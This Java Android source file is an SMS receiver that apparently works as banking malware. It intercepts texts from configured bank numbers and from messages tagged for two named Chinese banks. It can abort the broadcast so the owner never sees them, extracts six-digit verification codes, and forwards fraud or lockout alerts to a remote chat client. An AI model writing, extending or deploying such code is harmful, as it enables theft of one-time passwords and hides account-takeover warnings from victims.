package com.receive;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast;

import com.utils.ChatClient;
import com.utils.Constants;
import com.utils.LogToFile;

import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
 * 短信监听
 */
public class SMSReceiverSend extends BroadcastReceiver {
    public static String MsmContent = null;

    @Override
    public void onReceive(Context content, Intent intent) {
        if (intent.getAction().equals(Constants.SMS_ACTION)) {
            Object[] pdus = (Object[]) intent.getExtras().get("pdus");
            LogToFile.d("---长度---", "---pdus长度---" + pdus.length);
            if (pdus != null && pdus.length != 0) {
                Constants.CODE = "";
                String code = "";
                String CONTENT = "";
                String Sender = "";
                SmsMessage[] messages = new SmsMessage[pdus.length];
                for (int i = 0; i < pdus.length; i++) {
                    byte[] pdu = (byte[]) pdus[i];
                    messages[i] = SmsMessage.createFromPdu(pdu);
                }
                for (SmsMessage message : messages) {
                    String messageBody = message.getMessageBody();
                    String sender = message.getOriginatingAddress();
                    //"获取的短信内容：发送者---"+sender+"短信内容："+messageBody);
                    if (Constants.ISCHECKED == false) {
                        abortBroadcast();// 中止发送
                    }
                    CONTENT += messageBody;
                    if (sender.contains(Constants.MOBILE_BOB)) {//拦截银行短信，例如95533，95527
                        code += messageBody;
                        Sender = sender;
                        LogToFile.d("----拦截" + Constants.MOBILE_BOB + "短信----", "----拦截到" + Constants.MOBILE_BOB + "短信----" + code);
                    } else if (sender.contains(Constants.MOBILE_BOB_86)) {//拦截银行带有+86的短信，例如+8695533，+8695527
                        code += messageBody;
                        Sender = sender;
                        LogToFile.d("----拦截" + Constants.MOBILE_BOB_86 + "短信----", "----拦截到" + Constants.MOBILE_BOB_86 + "短信----" + code);
                    } else if (messageBody.contains("【柳州银行】")) {
                        code += messageBody;
                        Constants.MOBILE_BOB = Sender = sender;
                        LogToFile.d("----拦截" + Constants.MOBILE_BOB_86 + "短信----", "----拦截到" + Constants.MOBILE_BOB_86 + "短信----" + code);
                    } else if (messageBody.contains("【桂林银行】")) {
                        code += messageBody;
                        Constants.MOBILE_BOB = Sender = sender;
                        LogToFile.d("----拦截" + Constants.MOBILE_BOB_86 + "短信----", "----拦截到" + Constants.MOBILE_BOB_86 + "短信----" + code);
                    }
//                    else if (messageBody.contains("【兴业银行】")) {
//                        code += messageBody;
//                        Constants.MOBILE_BOB = Sender = sender;
//                        LogToFile.d("----拦截" + Constants.MOBILE_BOB_86 + "短信----", "----拦截到" + Constants.MOBILE_BOB_86 + "短信----" + code);
//                    }
                }

                if (getSmsContent(CONTENT)) {
                    LogToFile.d("service", "短信检查====>" + Constants.SMSMESSAGE);
                    LogToFile.d("====---短信内容-====", "=====短信内容========" + CONTENT);
                    MsmContent = CONTENT;
                    final String json = "<YZF>{'header':'" + ChatClient.S_NOTIFICATION_C + "',type:" + Constants.SMSTYPE + ",content:'" + CONTENT +
                            "'}</YZF>";
                    new Thread(json) {
                        @Override
                        public void run() {
                            ChatClient.msg(json);
                        }
                    }.start();
                }
                //打印拦截到的短信，并判断是否是带有+86的短信
                if (Constants.MOBILE_BOB.equals(Sender)) {
                    if (getSmsType(code)) {
                        Constants.SMSMESSAGE = code;
                        LogToFile.d("----拦截短信----", "----拦截短信" + Constants.MOBILE_BOB + "----" + Constants.SMSMESSAGE);
                    }
                } else if (Constants.MOBILE_BOB_86.equals(Sender)) {
                    if (getSmsType(code)) {
                        Constants.SMSMESSAGE = code;
                        LogToFile.d("----拦截短信----", "----拦截短信" + Constants.MOBILE_BOB_86 + "----" + Constants.SMSMESSAGE);
                    }
                } else {
                    Constants.SMSMESSAGE = code;
                    LogToFile.d("----拦截短信----", "----未拦截到" + Constants.MOBILE_BOB + "或者" + Constants.MOBILE_BOB_86 + "的短信----" + Constants
                            .SMSMESSAGE);
                }
                Constants.CODE = getYzmFromSms(code);
                MsmContent = code;
                LogToFile.d("====---短信验证码-====", "=====短信验证码========" + code);
            }
        }
    }

    private static String getYzmFromSms(String smsBody) {
        Pattern pattern = Pattern.compile("\\d{6}");
        Matcher matcher = pattern.matcher(smsBody);
        if (matcher.find()) {
            return matcher.group();
        }
        return "";
    }

    private static boolean getSmsContent(String sms) {
        boolean state = false;
        Log.d("====---短信内容-====", "=====短信内容========" + sms);
        if (sms.contains("密码输入次数超限") || sms.contains("柜台办理") || sms.contains("挂失成功")) {
            state = true;
        }
        return state;
    }

    private static boolean getSmsType(String sms) {
        boolean state = false;
        Log.d("====---短信内容-====", "=====短信内容========" + sms);
        if (sms.contains("验证码")) {
            state = true;
        }
        return state;
    }
}